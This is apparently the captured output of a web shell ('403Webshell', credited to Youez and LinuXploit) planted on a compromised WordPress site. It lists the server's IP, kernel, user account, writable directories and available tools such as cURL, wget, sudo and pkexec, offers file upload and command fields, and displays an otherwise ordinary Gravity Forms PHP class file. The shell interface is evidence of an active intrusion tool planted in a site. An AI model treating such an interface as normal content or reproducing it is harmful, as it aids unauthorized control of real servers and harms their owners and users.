403Webshell
Server IP : 69.39.225.240  /  Your IP : 216.73.216.138
Web Server : Apache
System : Linux bronze7.serverhost.net 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : reademotions ( 1074)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/reademotions/www/wp-content/plugins/gravityforms/includes/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/reademotions/www/wp-content/plugins/gravityforms/includes/assets//class-gf-dependencies.php
<?php

namespace Gravity_Forms\Gravity_Forms\Assets;

abstract class GF_Dependencies {

	/**
	 * Items to enqueue
	 *
	 * @since 2.6
	 *
	 * @var array
	 */
	protected $items = array();

	/**
	 * The method for actually enqueueing the items.
	 *
	 * @since 2.6
	 *
	 * @param $handle
	 *
	 * @return mixed
	 */
	abstract protected function do_enqueue( $handle );

	/**
	 * Get the dependency items.
	 *
	 * @since 2.6
	 *
	 * @return array
	 */
	public function get_items() {
		return $this->items;
	}

	/**
	 * Enqueue the items.
	 *
	 * @since 2.6
	 *
	 * @param $items
	 */
	public function enqueue() {
		if ( ! $this->should_enqueue() ) {
			return;
		}

		foreach ( $this->items as $handle ) {
			$this->do_enqueue( $handle );
		}
	}

	/**
	 * Override to determine whether the assets outlined should be enqueued.
	 *
	 * @since 2.6
	 *
	 * @return bool
	 */
	protected function should_enqueue() {
		return true;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit